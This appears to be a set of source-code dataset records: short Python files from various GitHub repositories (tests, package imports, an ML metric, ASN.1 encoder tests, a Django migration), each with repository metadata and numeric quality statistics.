2017-10-29T15:29:39.000Z
2022-02-18T17:43:50.000Z
def test_setup(): assert True == True
20.5
23
0.658537
6
41
4.333333
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.219512
41
2
23
20.5
0.8125
0
0
0
0
0
0
0
0
0
0
0
0.5
1
0.5
true
0
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
0
0
0
0
0
6
278e273007c9263eeaf1ffe6d395b76dbac1526a
94
py
Python
tron/Misc/Exceptions/__init__.py
sdss/tron
886c5c5fb6341ad85e4a9f5d6f5ecb6bbc0d8322
[ "BSD-3-Clause" ]
null
null
null
tron/Misc/Exceptions/__init__.py
sdss/tron
886c5c5fb6341ad85e4a9f5d6f5ecb6bbc0d8322
[ "BSD-3-Clause" ]
null
null
null
tron/Misc/Exceptions/__init__.py
sdss/tron
886c5c5fb6341ad85e4a9f5d6f5ecb6bbc0d8322
[ "BSD-3-Clause" ]
null
null
null
from .CmdError import * from .CommError import * from .Error import * from .ICCError import *
18.8
24
0.744681
12
94
5.833333
0.5
0.428571
0
0
0
0
0
0
0
0
0
0
0.170213
94
4
25
23.5
0.897436
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
27bcb8fe71a74525c8c3fc91ea21cb1df524fe70
49
py
Python
toloka_prefect/__init__.py
Toloka/toloka-prefect
4bac513cc941349973d594a62dd9525efca42a04
[ "Apache-2.0" ]
6
2021-12-14T10:09:36.000Z
2022-03-11T22:15:29.000Z
toloka_prefect/__init__.py
Toloka/toloka-prefect
4bac513cc941349973d594a62dd9525efca42a04
[ "Apache-2.0" ]
null
null
null
toloka_prefect/__init__.py
Toloka/toloka-prefect
4bac513cc941349973d594a62dd9525efca42a04
[ "Apache-2.0" ]
null
null
null
from .operations import * from .helpers import *
16.333333
25
0.755102
6
49
6.166667
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.163265
49
2
26
24.5
0.902439
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
7e0822bc2c7a5a5911d3a80b40e5e45c18d96b1c
36
py
Python
qtghost_pyinterface/qtghost3/__init__.py
antonioalecrim/qtghost
05888345d8ebf01b36618a16809c8170a69ab9be
[ "MIT" ]
6
2018-06-16T04:53:43.000Z
2021-02-21T16:54:07.000Z
qtghost_pyinterface/qtghost3/__init__.py
antonioalecrim/qtghost
05888345d8ebf01b36618a16809c8170a69ab9be
[ "MIT" ]
13
2018-04-16T16:46:52.000Z
2018-07-31T02:08:56.000Z
qtghost_pyinterface/qtghost3/__init__.py
antonioalecrim/qtghost
05888345d8ebf01b36618a16809c8170a69ab9be
[ "MIT" ]
null
null
null
from qtghost3.qtghost import Qtghost
36
36
0.888889
5
36
6.4
0.8
0
0
0
0
0
0
0
0
0
0
0.030303
0.083333
36
1
36
36
0.939394
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
fd74bf6305d3642939395649bfa38ba413fb0915
4,160
py
Python
test_problem17.py
lunatunez/eular_python
496ad7a66501dea15e0d84493412dc3d9d71c68f
[ "MIT" ]
null
null
null
test_problem17.py
lunatunez/eular_python
496ad7a66501dea15e0d84493412dc3d9d71c68f
[ "MIT" ]
null
null
null
test_problem17.py
lunatunez/eular_python
496ad7a66501dea15e0d84493412dc3d9d71c68f
[ "MIT" ]
null
null
null
import pytest import problem17 # Tests for get_digit(n, i) # Tests for letter_qty(s): # 'abc' returns 3 # 'abc1' returns 3 # '123' returns 3 # 123(the integer) returns 3 def test_getdigit_n0_ones_returns0(): assert problem17.get_digit(0, 0) == 0 def test_getdigit_1_ones_returns1(): assert problem17.get_dig...
22.245989
66
0.740865
560
4,160
5.158929
0.221429
0.104188
0.211838
0.182762
0.304604
0.121495
0.049844
0.049844
0.049844
0
0
0.085779
0.148077
4,160
186
67
22.365591
0.729402
0.166587
0
0
0
0
0.06094
0
0
0
0
0
0.468354
1
0.481013
true
0
0.025316
0
0.506329
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
0
0
1
0
0
6
fd8a07f05cc8f3c1b2a4a5ac1566257f02b164e9
132
py
Python
gFunctionLibrary/__init__.py
TNWest/gFunctionLibrary
31b49eea02cea78c96d9bc8bf8ac28ca067550a2
[ "BSD-3-Clause" ]
null
null
null
gFunctionLibrary/__init__.py
TNWest/gFunctionLibrary
31b49eea02cea78c96d9bc8bf8ac28ca067550a2
[ "BSD-3-Clause" ]
null
null
null
gFunctionLibrary/__init__.py
TNWest/gFunctionLibrary
31b49eea02cea78c96d9bc8bf8ac28ca067550a2
[ "BSD-3-Clause" ]
null
null
null
from . import statistics from . import fileio from . import handle_contents from . import coordinate_generator from . import access
22
34
0.810606
17
132
6.176471
0.529412
0.47619
0
0
0
0
0
0
0
0
0
0
0.151515
132
5
35
26.4
0.9375
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
fddcbe74fae73056a68dd69b4b0bd975a5eb9754
26
py
Python
blaze_loader/__init__.py
a-campbell/blaze_loader
b94d4614c8ec364e867b511d9df0da4e2eeb671a
[ "MIT" ]
2
2016-07-20T22:30:26.000Z
2018-04-02T18:39:32.000Z
blaze_loader/__init__.py
quantopian/blaze_loader
b94d4614c8ec364e867b511d9df0da4e2eeb671a
[ "MIT" ]
null
null
null
blaze_loader/__init__.py
quantopian/blaze_loader
b94d4614c8ec364e867b511d9df0da4e2eeb671a
[ "MIT" ]
1
2020-12-04T17:53:15.000Z
2020-12-04T17:53:15.000Z
from blaze_loader import *
26
26
0.846154
4
26
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.115385
26
1
26
26
0.913043
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
8bf863a54a0e7092114dc8fa60ace82d46d9bac8
32
py
Python
disnake_paginator/__init__.py
LukeFokin/Nextcord-Paginator
3ec7b39d00c248343894f12b9df93a5d872527de
[ "MIT" ]
4
2022-01-18T14:05:52.000Z
2022-03-20T04:17:39.000Z
disnake_paginator/__init__.py
LukeFokin/Nextcord-Paginator
3ec7b39d00c248343894f12b9df93a5d872527de
[ "MIT" ]
null
null
null
disnake_paginator/__init__.py
LukeFokin/Nextcord-Paginator
3ec7b39d00c248343894f12b9df93a5d872527de
[ "MIT" ]
null
null
null
from .disnake_paginator import *
32
32
0.84375
4
32
6.5
1
0
0
0
0
0
0
0
0
0
0
0
0.09375
32
1
32
32
0.896552
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
8bf9371f6e504d17ad9478ce7ddb08b7b5a73392
75
py
Python
basics/packages/topackage/importme.py
pktippa/python-basics
329f048dc312cc2bcc308934142b0aa766d77307
[ "MIT" ]
1
2018-02-01T10:07:18.000Z
2018-02-01T10:07:18.000Z
basics/packages/topackage/importme.py
pktippa/python-basics
329f048dc312cc2bcc308934142b0aa766d77307
[ "MIT" ]
1
2018-10-02T12:27:41.000Z
2018-10-02T12:27:41.000Z
basics/packages/topackage/importme.py
pktippa/python-basics
329f048dc312cc2bcc308934142b0aa766d77307
[ "MIT" ]
1
2018-10-02T02:20:36.000Z
2018-10-02T02:20:36.000Z
def theimportedFunction(word): return "from imported function: " + word
37.5
44
0.746667
8
75
7
0.875
0
0
0
0
0
0
0
0
0
0
0
0.16
75
2
44
37.5
0.888889
0
0
0
0
0
0.315789
0
0
0
0
0
0
1
0.5
false
0
1
0.5
2
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
6
e30bd0ac559c30fae0838b68a98fe088b9dfea57
2,755
py
Python
traffic-prediction/src/helper/metric.py
lwm412/ST-MetaNet
4263149fce1e29f9e5081cb5b0d7d04f9f66161a
[ "MIT" ]
160
2019-05-18T08:23:58.000Z
2022-03-29T04:21:27.000Z
traffic-prediction/src/helper/metric.py
yang9599/ST-MetaNet
e45cd9e82bb2a91c686f9cafc0d8419794c6617e
[ "MIT" ]
11
2019-11-11T17:28:35.000Z
2021-09-09T01:01:56.000Z
traffic-prediction/src/helper/metric.py
yang9599/ST-MetaNet
e45cd9e82bb2a91c686f9cafc0d8419794c6617e
[ "MIT" ]
61
2019-05-19T15:08:53.000Z
2022-02-22T08:23:05.000Z
import mxnet as mx from mxnet import nd class Metric: def __init__(self, name): self.name = name self.cnt = None self.loss = None def reset(self): self.cnt = None self.loss = None class RMSE(Metric): def __init__(self, scaler, name='rmse'): super(RMSE, self).__init__(name) self.scal...
28.402062
92
0.647913
415
2,755
4.093976
0.118072
0.074161
0.080047
0.122425
0.885815
0.885815
0.826957
0.781048
0.768099
0.768099
0
0.007299
0.204356
2,755
97
93
28.402062
0.767792
0
0
0.64557
0
0
0.009774
0
0
0
0
0
0
1
0.177215
false
0
0.025316
0.050633
0.316456
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
e3213342a551ff8620943fea89a3b7122c79156f
5,604
py
Python
MDAF/TestFunctions/Bukin4.py
ejeanboris/MDAF_COMPLETE
e99c9762ea7304acc0a6795d33a55449a9800d89
[ "CC0-1.0" ]
1
2020-12-30T23:04:51.000Z
2020-12-30T23:04:51.000Z
MDAF/TestFunctions/Bukin4.py
ejeanboris/MDAF_COMPLETE
e99c9762ea7304acc0a6795d33a55449a9800d89
[ "CC0-1.0" ]
null
null
null
MDAF/TestFunctions/Bukin4.py
ejeanboris/MDAF_COMPLETE
e99c9762ea7304acc0a6795d33a55449a9800d89
[ "CC0-1.0" ]
null
null
null
def main(args): ''' >>> (main([-10,0]) - 0)<0.001 True #_# dimmensions: 2 #_# upper: [-5, 3] #_# lower: [-15, -3] #_# minimum: [-10,0] #_# opti: 0 #_# cm_angle: array([[3.46336319e-01], [1.11596448e-01], [3.32688632e-01], [1.10567852e-01], [1.26709762e+02], [3.96040...
147.473684
1,511
0.399714
619
5,604
3.558966
0.337641
0.084884
0.043577
0.023604
0.093055
0.075352
0.034044
0
0
0
0
0.533295
0.386331
5,604
38
1,512
147.473684
0.107299
0.98394
0
0
0
0
0.057971
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
6
e36ff0679f84e319fba5d776015e36ff4ac38418
4,703
py
Python
tests/test_client.py
GDWR/dispair
10ac97caba1158b8a968e315014b6c4f3f5e5188
[ "MIT" ]
5
2021-05-01T14:55:30.000Z
2021-05-24T12:29:49.000Z
tests/test_client.py
GDWR/dispair
10ac97caba1158b8a968e315014b6c4f3f5e5188
[ "MIT" ]
1
2021-05-24T09:45:08.000Z
2021-05-24T09:48:19.000Z
tests/test_client.py
GDWR/dispair
10ac97caba1158b8a968e315014b6c4f3f5e5188
[ "MIT" ]
8
2021-05-01T10:24:52.000Z
2021-05-24T09:32:51.000Z
from json import loads import pytest from dispair import Router from dispair.models import Interaction, Option, Response from stubs.client_stub import ClientStub @pytest.fixture(scope="function") async def client() -> ClientStub: client = ClientStub() client.run() yield client await client.kill() @...
24.752632
99
0.533489
496
4,703
4.927419
0.157258
0.02455
0.05401
0.05401
0.805646
0.762275
0.762275
0.719313
0.719313
0.719313
0
0.01567
0.335105
4,703
189
100
24.883598
0.76591
0
0
0.69281
0
0
0.079524
0
0
0
0
0
0.065359
1
0
false
0
0.03268
0
0.065359
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
e37bd7eb621be03bb78c9a030ee290a044d2a9bd
23
py
Python
bcar/__init__.py
youyoubilly/BillioCar
8f9fc87ba80c823abbb57491338aa104a9cf7747
[ "MIT" ]
1
2020-09-28T02:29:53.000Z
2020-09-28T02:29:53.000Z
bcar/__init__.py
youyoubilly/BillioCar
8f9fc87ba80c823abbb57491338aa104a9cf7747
[ "MIT" ]
null
null
null
bcar/__init__.py
youyoubilly/BillioCar
8f9fc87ba80c823abbb57491338aa104a9cf7747
[ "MIT" ]
1
2020-09-28T02:40:53.000Z
2020-09-28T02:40:53.000Z
from .bcar import BCar
11.5
22
0.782609
4
23
4.5
0.75
0
0
0
0
0
0
0
0
0
0
0
0.173913
23
1
23
23
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
8b582eb9e0d31be034061fac40283ac69f05cecc
96
py
Python
venv/lib/python3.8/site-packages/poetry/core/semver/version_union.py
Retraces/UkraineBot
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
[ "MIT" ]
2
2022-03-13T01:58:52.000Z
2022-03-31T06:07:54.000Z
venv/lib/python3.8/site-packages/poetry/core/semver/version_union.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
19
2021-11-20T04:09:18.000Z
2022-03-23T15:05:55.000Z
venv/lib/python3.8/site-packages/poetry/core/semver/version_union.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
null
null
null
/home/runner/.cache/pip/pool/8d/17/78/1c64c431364026d02e7f626d9fa4defde093af25b0f565774f623ef887
96
96
0.895833
9
96
9.555556
1
0
0
0
0
0
0
0
0
0
0
0.447917
0
96
1
96
96
0.447917
0
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
6
8b588cb262d4757cbc5d71066ea5ca2238a8f209
58
py
Python
py-kb4gc/tests/main_test.py
yiwensong/arduino-misc
08d0ec35a85ff81965ae083f8bfe8d7cdea36106
[ "MIT" ]
null
null
null
py-kb4gc/tests/main_test.py
yiwensong/arduino-misc
08d0ec35a85ff81965ae083f8bfe8d7cdea36106
[ "MIT" ]
null
null
null
py-kb4gc/tests/main_test.py
yiwensong/arduino-misc
08d0ec35a85ff81965ae083f8bfe8d7cdea36106
[ "MIT" ]
null
null
null
from kb4gc import main def test_main(): main.main()
9.666667
22
0.672414
9
58
4.222222
0.666667
0.421053
0
0
0
0
0
0
0
0
0
0.022222
0.224138
58
5
23
11.6
0.822222
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
0
0
0
6
47601c7dcc63ac0a71b7a0e3c6fbc378a687f6aa
33
py
Python
pymarkauth/__init__.py
elsholz/PyMarkAuth
3f13097c00fa01d72d5be2bc55f4a798a828ec95
[ "MIT" ]
2
2020-09-10T20:28:32.000Z
2020-11-13T18:49:43.000Z
pymarkauth/__init__.py
elsholz/PyMarkAuth
3f13097c00fa01d72d5be2bc55f4a798a828ec95
[ "MIT" ]
9
2020-09-09T23:17:48.000Z
2020-09-23T14:23:49.000Z
pymarkauth/__init__.py
elsholz/PyMarkAuth
3f13097c00fa01d72d5be2bc55f4a798a828ec95
[ "MIT" ]
null
null
null
from .pyMarkAuth import MarkDown
16.5
32
0.848485
4
33
7
1
0
0
0
0
0
0
0
0
0
0
0
0.121212
33
1
33
33
0.965517
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
47a1f0293183620fe162cf053f5c6adaa6efba58
73
py
Python
app/main/service/__init__.py
Wason1797/RestAPIExample
7a28d724e6f4baaedc55d6c306d7a519f2580ebe
[ "MIT" ]
null
null
null
app/main/service/__init__.py
Wason1797/RestAPIExample
7a28d724e6f4baaedc55d6c306d7a519f2580ebe
[ "MIT" ]
null
null
null
app/main/service/__init__.py
Wason1797/RestAPIExample
7a28d724e6f4baaedc55d6c306d7a519f2580ebe
[ "MIT" ]
null
null
null
from .index import index from .currency_exchange import currency_exchange
36.5
48
0.876712
10
73
6.2
0.5
0.516129
0
0
0
0
0
0
0
0
0
0
0.09589
73
2
48
36.5
0.939394
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
47b9abe406a6114c1866cc8ee715c8de83e970ca
63
py
Python
yamale/readers/__init__.py
cazador481/Yamale
8fe7b7743a1449c144a52090f2f18386179be125
[ "MIT" ]
457
2015-03-06T08:11:33.000Z
2022-03-30T06:44:01.000Z
yamale/readers/__init__.py
drmull/Yamale
d2d65eb513e5ae56fc73f888cbfaeb24a1e75b07
[ "MIT" ]
164
2015-02-16T21:41:49.000Z
2022-03-25T15:41:24.000Z
yamale/readers/__init__.py
drmull/Yamale
d2d65eb513e5ae56fc73f888cbfaeb24a1e75b07
[ "MIT" ]
97
2015-02-12T13:29:21.000Z
2022-02-14T05:29:02.000Z
from . import yaml_reader parse_yaml = yaml_reader.parse_yaml
15.75
35
0.825397
10
63
4.8
0.5
0.416667
0.625
0.791667
0
0
0
0
0
0
0
0
0.126984
63
3
36
21
0.872727
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
6
7bffef183b7ea0b7a6315071fe29ff05cf23988b
30
py
Python
ika_web/app/logic/orchestrator.py
Harisonm/ika
243ceab532007ee4fb05b205e1125fab5d3d325b
[ "Apache-2.0" ]
6
2020-11-17T19:41:26.000Z
2021-01-13T14:55:56.000Z
ika_web/app/logic/orchestrator.py
Harisonm/ika
243ceab532007ee4fb05b205e1125fab5d3d325b
[ "Apache-2.0" ]
3
2020-11-16T19:51:17.000Z
2020-11-16T19:51:36.000Z
ika_web/app/logic/orchestrator.py
Harisonm/Ika
243ceab532007ee4fb05b205e1125fab5d3d325b
[ "Apache-2.0" ]
null
null
null
def orchestrator(): pass
7.5
19
0.633333
3
30
6.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.266667
30
4
20
7.5
0.863636
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
6
d02de3f863a5f6fdd2545277cd536e0c62f5ed4d
77
py
Python
wafec_tests_openstack_base/src/wafec_tests_openstack_base/exceptions/exception_base.py
wafec/wafec-tests-openstack-base
c9b30ea2b24e8eb66e42dfa7992c3faa6b21e345
[ "MIT" ]
null
null
null
wafec_tests_openstack_base/src/wafec_tests_openstack_base/exceptions/exception_base.py
wafec/wafec-tests-openstack-base
c9b30ea2b24e8eb66e42dfa7992c3faa6b21e345
[ "MIT" ]
null
null
null
wafec_tests_openstack_base/src/wafec_tests_openstack_base/exceptions/exception_base.py
wafec/wafec-tests-openstack-base
c9b30ea2b24e8eb66e42dfa7992c3faa6b21e345
[ "MIT" ]
null
null
null
import abc class ExceptionBase(Exception, metaclass=abc.ABCMeta): pass
12.833333
54
0.766234
9
77
6.555556
0.888889
0
0
0
0
0
0
0
0
0
0
0
0.155844
77
5
55
15.4
0.907692
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
d03f80d23825c6f451e28943b004c93d7cf94f89
16,680
py
Python
asn1PERser/test/per/encoder/test_per_encode_choice.py
erupikus/asn1PERser
11dc2985107a9fbba00bea83c1021d2665e8f193
[ "MIT" ]
3
2021-06-14T03:29:37.000Z
2021-11-15T09:45:11.000Z
asn1PERser/test/per/encoder/test_per_encode_choice.py
erupikus/asn1PERser
11dc2985107a9fbba00bea83c1021d2665e8f193
[ "MIT" ]
null
null
null
asn1PERser/test/per/encoder/test_per_encode_choice.py
erupikus/asn1PERser
11dc2985107a9fbba00bea83c1021d2665e8f193
[ "MIT" ]
null
null
null
import pytest from pyasn1.type.namedtype import NamedType, NamedTypes, DefaultedNamedType, OptionalNamedType from asn1PERser.codec.per.encoder import encode as per_encoder from asn1PERser.classes.data.builtin.ChoiceType import ChoiceType from asn1PERser.classes.data.builtin.IntegerType import IntegerType from asn1PERse...
41.804511
121
0.639269
1,579
16,680
6.418619
0.09563
0.060187
0.0963
0.122546
0.8148
0.796843
0.768722
0.759743
0.737247
0.671929
0
0.06564
0.241007
16,680
398
122
41.909548
0.734913
0.094125
0
0.469136
0
0
0.058121
0
0
0
0
0
0.020576
1
0.065844
false
0
0.028807
0
0.312757
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d0802c9bfa62f7169b89c011eea262512a963ff5
34,636
py
Python
MemN2N/dataset_utils.py
janarthanan-rajendran/l2l-from-related-tasks
ce80e21cb21a7bb9a9b44f54d288caa2fa0453ed
[ "MIT" ]
null
null
null
MemN2N/dataset_utils.py
janarthanan-rajendran/l2l-from-related-tasks
ce80e21cb21a7bb9a9b44f54d288caa2fa0453ed
[ "MIT" ]
null
null
null
MemN2N/dataset_utils.py
janarthanan-rajendran/l2l-from-related-tasks
ce80e21cb21a7bb9a9b44f54d288caa2fa0453ed
[ "MIT" ]
null
null
null
from absl import app from absl import flags import numpy as np FLAGS = flags.FLAGS flags.DEFINE_string('function_name', 'None', 'create_split_by_profile_from_full') flags.DEFINE_string('dataset', 'None', 'old or new') flags.DEFINE_boolean('r1', False, 'if true start from 500') flags.DEFINE_integer("task_id", 1, "task...
53.866252
176
0.523848
3,957
34,636
4.334597
0.050038
0.098647
0.019823
0.045651
0.903918
0.890567
0.845441
0.80941
0.775128
0.758454
0
0.014078
0.376545
34,636
642
177
53.950156
0.780217
0.071255
0
0.671845
0
0.01165
0.194047
0.171645
0
0
0
0
0
1
0.021359
false
0
0.005825
0
0.027184
0.034951
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d09b9026c9ddbff406b1741bd746bb52495949ba
46
py
Python
nitorch/io/utils/__init__.py
liamchalcroft/nitorch
0de179aff97244a82213c528f0d6393725c868c9
[ "MIT" ]
46
2020-07-31T10:14:05.000Z
2022-03-24T12:51:46.000Z
nitorch/io/utils/__init__.py
liamchalcroft/nitorch
0de179aff97244a82213c528f0d6393725c868c9
[ "MIT" ]
36
2020-10-06T19:01:38.000Z
2022-02-03T18:07:35.000Z
nitorch/io/utils/__init__.py
liamchalcroft/nitorch
0de179aff97244a82213c528f0d6393725c868c9
[ "MIT" ]
6
2021-01-05T14:59:05.000Z
2021-11-18T18:26:45.000Z
from . import indexing from . import volutils
15.333333
22
0.782609
6
46
6
0.666667
0.555556
0
0
0
0
0
0
0
0
0
0
0.173913
46
2
23
23
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
d0be832751e80d00c832ab11bb1019e0777900c1
1,184
py
Python
modules/rulesets/pingbacks/tests/proms_pingback_test.py
fingerecho/proms-4.0
6c3a1fd62c9394761664e100fc1dde50fd79dc11
[ "CC-BY-4.0" ]
2
2019-11-23T03:56:28.000Z
2019-12-03T15:48:34.000Z
modules/rulesets/pingbacks/tests/proms_pingback_test.py
fingerecho/proms-4.0
6c3a1fd62c9394761664e100fc1dde50fd79dc11
[ "CC-BY-4.0" ]
null
null
null
modules/rulesets/pingbacks/tests/proms_pingback_test.py
fingerecho/proms-4.0
6c3a1fd62c9394761664e100fc1dde50fd79dc11
[ "CC-BY-4.0" ]
3
2019-04-12T18:09:35.000Z
2020-03-14T14:38:45.000Z
from requests import request from modules.rulesets.pingbacks import PromsPingback def test_proms_rs_pass(): request.headers = { 'Content-Type': 'text/turtle' } pingback_endpoint = 'http://localhost/api/pingback' request.content = open('proms_pingback_valid.ttl', 'r').read().replace('{PB}', pi...
25.73913
104
0.690034
141
1,184
5.503546
0.29078
0.185567
0.085052
0.054124
0.774485
0.774485
0.729381
0.729381
0.729381
0.729381
0
0.003074
0.175676
1,184
45
105
26.311111
0.792008
0.035473
0
0.5
0
0
0.224759
0.067603
0
0
0
0
0.107143
1
0.107143
false
0.142857
0.071429
0
0.178571
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
6
d0c25851a5a4922b06a38d21231ebea127f27fef
29
py
Python
manifestparser/__init__.py
jursonovicst/manifestparser
21b1727bceea3ae6318f41139e374a20a35a537b
[ "MIT" ]
null
null
null
manifestparser/__init__.py
jursonovicst/manifestparser
21b1727bceea3ae6318f41139e374a20a35a537b
[ "MIT" ]
null
null
null
manifestparser/__init__.py
jursonovicst/manifestparser
21b1727bceea3ae6318f41139e374a20a35a537b
[ "MIT" ]
null
null
null
from .MParser import MParser
14.5
28
0.827586
4
29
6
0.75
0
0
0
0
0
0
0
0
0
0
0
0.137931
29
1
29
29
0.96
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
efc05ed19807f6bc19007ed181a7a0fc93fdb133
417
py
Python
omnikassa/exceptions.py
RobWouters/omnikassa
51d85805642c3468129fd251a0afe5a9ece9c5b3
[ "MIT" ]
3
2015-10-06T11:33:18.000Z
2016-01-06T08:41:55.000Z
omnikassa/exceptions.py
RobWouters/omnikassa
51d85805642c3468129fd251a0afe5a9ece9c5b3
[ "MIT" ]
null
null
null
omnikassa/exceptions.py
RobWouters/omnikassa
51d85805642c3468129fd251a0afe5a9ece9c5b3
[ "MIT" ]
null
null
null
class OmnikassaException(Exception): pass class InvalidResponseCode(OmnikassaException): def __init__(self, data): self.data = data def __str__(self): return 'Got responseCode {}'.format(self.data['responseCode']) class InvalidSeal(OmnikassaException): def __init__(self, data): ...
21.947368
70
0.671463
43
417
6.139535
0.395349
0.181818
0.189394
0.219697
0.462121
0.462121
0.462121
0.462121
0.462121
0.462121
0
0
0.213429
417
18
71
23.166667
0.804878
0
0
0.5
0
0
0.11271
0
0
0
0
0
0
1
0.333333
false
0.083333
0
0.166667
0.75
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
6
efc44ca97b53c52e4ff47488d1baffc42e40ab33
3,226
py
Python
sologue_code/sologue_website/migrations/0001_initial.py
GamalC/Sologue
357b5dc10599c17578a00585b2b39c762bc6b3b9
[ "MIT" ]
null
null
null
sologue_code/sologue_website/migrations/0001_initial.py
GamalC/Sologue
357b5dc10599c17578a00585b2b39c762bc6b3b9
[ "MIT" ]
null
null
null
sologue_code/sologue_website/migrations/0001_initial.py
GamalC/Sologue
357b5dc10599c17578a00585b2b39c762bc6b3b9
[ "MIT" ]
null
null
null
# Generated by Django 2.1.4 on 2018-12-28 19:05 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Discussion', fields=[ ...
39.82716
139
0.574086
297
3,226
6.094276
0.239057
0.039779
0.061878
0.097238
0.735912
0.703867
0.703867
0.703867
0.703867
0.703867
0
0.012275
0.292932
3,226
80
140
40.325
0.781236
0.013949
0
0.60274
1
0
0.134634
0.050959
0
0
0
0
0
1
0
false
0
0.027397
0
0.082192
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
